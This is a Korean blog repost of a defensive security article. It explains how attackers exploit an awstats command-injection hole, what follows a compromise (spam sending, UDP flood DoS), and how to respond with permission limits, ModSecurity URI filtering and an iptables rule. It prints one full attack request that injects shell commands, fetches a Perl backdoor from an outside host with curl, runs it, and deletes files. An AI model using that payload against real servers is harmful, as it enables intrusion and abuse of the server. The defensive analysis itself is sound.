최근 웹 애플리케이션의 취약성을 이용한 웹 해킹이 기승을 부리고 있다.
다음은 대표적인 웹 로그 분석 프로그램인 'awstats'의 취약성을 이용한 공격 사례다. 

이는 GET 메소드로 해당 사이트에 특정 옵션을 주면 바로 시스템 명령어를 실행할 수 있다는 점을 이용한 것으로, 먼저 /tmp 디렉토리로 이동한 뒤 특정 사이트에서 백도어 파일을 다운로드하고 perl을 실행한다는 것을 알 수 있다. 이 때 awstats.pl에 SUID(Set User ID) 가 설정되지 않으면 웹 서버 권한으로 실행돼 nobody로 작동할 것이다.
 

GET
http://www.domain.com/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/h4x000r/a.pl;perl%20a.pl;echo%
20;rm%20-rf%20a.pl*;echo| HTTP/1.1


이상과 같은 웹 해킹 후에는 몇 가지 뚜렷한 현상이 나타나는데, 우선 스팸이나, 피싱 등 대량의 스팸 메일을 발송하는 경우다. 릴레이가 허용된 메일 서버가 많이 사라지고 각종 안티 스팸 정책들이 설정되면서 스패머들이 설 자리가 없어지다 보니 자연스럽게 해킹을 통해 스팸을 발송하는 경우가 증가하고 있다. 스패머들은 웹 해킹으로 nobody 등 웹 서버 실행 권한을 획득한 후 wget이나 curl, lynx 등의 시스템 명령어를 통해 서버에 메일 발송 프로그램 등 각종 백도어 파일을 다운로드하고 실행한다. 이로 인해 시스템에 과부하가 일어나 정상적으로 운영되던 서버가 하루 아침에 각종 RBL에 스팸 발송 리스트에 등록되는 경우가 생긴다.

자신의 서버가 RBL에 등록됐는지 여부는 다음의 질문을 통해 확인하면 된다.

 

http://www.dnsstuff.com/tools/ip4r.ch?ip=211.47.xx.xxx

 

다음은 PS를 사용할 경우 실제 스팸을 발송할 때 보이는 관련 프로세스로, 웹 서버 실행 권한인 nobody를 통해 perl을 이용해 메일을 발송하고 있음을 알 수 있다.

 

nobody   25619  0.0  0.0   02:14   0:00 sh -c perl sendeb.pl

 

두 번째는 일종의 DoS 공격인 UDP 플루딩 공격을 하는 경우다. TCP나 ICMP보다 UDP를 이용할 경우 보다 효과적이기 때문에 거의 대부분 UDP를 사용하게 된다.

이 역시 nobody 권한을 획득 후 wget 등으로 대량의 패킷을 생성할 수 있는 공격 파일을 다운로드 해 특정 네트워크나 서버로 공격하는 것이다. 이런 경우 대량의 패킷 트래픽을 유발해 네트워크 장비가 패킷 전송을 제대로 하지 못해 up&down을 반복하면서 네트워크 장애가 발생한다. 물론 일부 공격 형태에 따라서는 bps(bits per second)가 동반 상승하는 경우도 있지만, bps보다는 pps가 더욱 중요하다.

실제 테스트를 해 보면 특정 코드의 경우 10만 pps 이상 유발되며, 이 정도면 저사양 라우터 등 3계층 이상 장비들(4계층 스위치, 파이어월, 7계층 장비 등)은 최대 용량 초과로 다운된다. 네트워크 장비의 경우 pps는 SNMP를 이용한 MRTG로, 리눅스의 경우 IPtraf를 이용하면 즉시 측정할 수 있다.
(화면 3)는 MRTG로 pps를 측정한 것인데, 오전 4시경부터 평소의 1만 pps에서 96만 pps까지 상승한 것을 알 수 있다.  


 
화면 3 | MRTG로 측정한 pps

 

IPtraf는 홈페이지(http://iptraf.seul.org)에서 다운로드할 수 있으며, 프로그램을 실행한 뒤 'Detailed interface statistics'를 선택해 측정할 인터페이스를 선정하면 해당 인터페이스를 통과하는 패킷의 bps와 pps를 실시간으로 확인할 수 있다. 다음은 실제 대량의 pps를 유발하는 DoS 공격툴을 실행할 때 캡처된 수치로, 단방향으로 10만 pps 이상의 프래픽이 유발되는 것을 알 수 있다. 

 

화면 4 | IPtraf를 실행하여 pps를 모니터링 하는 화면

 

최근 들어 곳곳에서 확인되는 위협적인 Dos 공격에 어떻게 대응해야 할까. 다음과 같은 방법을 그 해결책으로 꼽을 수 있다.

① wget, curl, lynx 등의 퍼미션을 700 등으로 제한하거나 삭제한다.
앞에서도 살펴본 바와 같이 취약성을 통해 시스템 명령어를 실행할 수 있는 상태가 되면 상위 권한 획득, 스팸 메일 발송 등을 위해 외부에서 다운로드를 위한 wget이나 curl,  lynx 등을 이용한다. 따라서 이 파일의 퍼미션을 차단하면 일반 사용자 권한으로 외부에서 악성코드의 다운로드가 어려워진다. 물론 wget 등을 차단해도 ftp를 이용하거나 게시판을 통한 파일 업로드 등을 이용할 수 있다.

② 웹 서버에서 특정 URI를 필터링하도록 한다.
앞에서 awstats의 공격 사례를 살펴본 것처럼 HTTP의 GET 메소드를 통해 공격할 경우 URI에 시스템 명령어 등 각종 공격 기법이 그대로 노출된다. 따라서 URI에 보이는 명령어를 필터링하면 되는데, 아파치 웹 서버의 경우 자체적으로 URI 필터링 기능을 제공하지 않으므로 별도의 Rewrite나 ModSecurity 모듈을 이용한다.

③ IPtables를 이용해 패킷을 차단한다.
아웃바운드 UDP 트래픽이 문제가 되는 것이므로 IPtables를 이용해 차단하는 방법도 고려할 수 있다. 상태 추적을 이용하면 해당 트래픽만 차단할 수 있는데, 일반적으로 정상적인 UDP 트래픽은 DNS 외에는 없으므로 DNS만 고려해 실행하면 된다.


다음은 아웃바운드 트래픽 중 목적지 IP가 168.126.63.1이면서 목적지 포트가 53번이 아닌 UDP 트래픽을 차단하는 과정이다. 만약 참조하는 DNS 서버가 168.126.63.1이 아니면 적절한 IP를 지정하면 된다.
  
   # iptables -A OUTPUT -p udp ! -d 168.126.63.1 --dport 53
        -m state --state NEW -j DROP

 

이 명령어는 상태추적에서 처음 보이는 아웃바운드 UDP 트래픽 중 목적지 IP가  168.126.63.1이고, 목적지 포트가 53번인 패킷은 제외하고 차단한다는 것이다. 만약 자체적으로 resolvong DNS 서버를 운영해 임의의 도메인에 대한 룩업 서비스를 제공한다면 모든 DNS 서버로 질의를 할 수 있다. 이 경우에는 목적지 IP를 0/0으로 변경하면 된다.

 

최근 해킹 양상이 단순한 흥미와 영웅심리가 아닌 상업적으로 악용되면서 두 번째 Dos 공격의 경우가 자주 확인되고 있으므로, 궁극적으로는 일반 사용자 권한을 빼앗기지 않도록 보안을 강화하는 것이 더욱 중요할 것이다.

 

저자 : 홍석범 | 오늘과내일 운영관리팀 차장

원문 : http://www.ionthenet.co.kr/newspaper/view.php?idx=10788

 

 

출처 : On the NET(http://www.ionethenet.co.kr)

'Security Story。' 카테고리의 다른 글

[스크랩] 진정한 해커가 되려면 알아야 할 것!!  (0) 2009.06.10
ATTACK 기법  (0) 2009.06.10
SQL Injection으로부터 보호해주는 GreenSQL  (0) 2009.06.10
www.krcert.or.kr 보안자료  (0) 2009.06.10
HTTP status Code  (0) 2009.06.07

+ Recent posts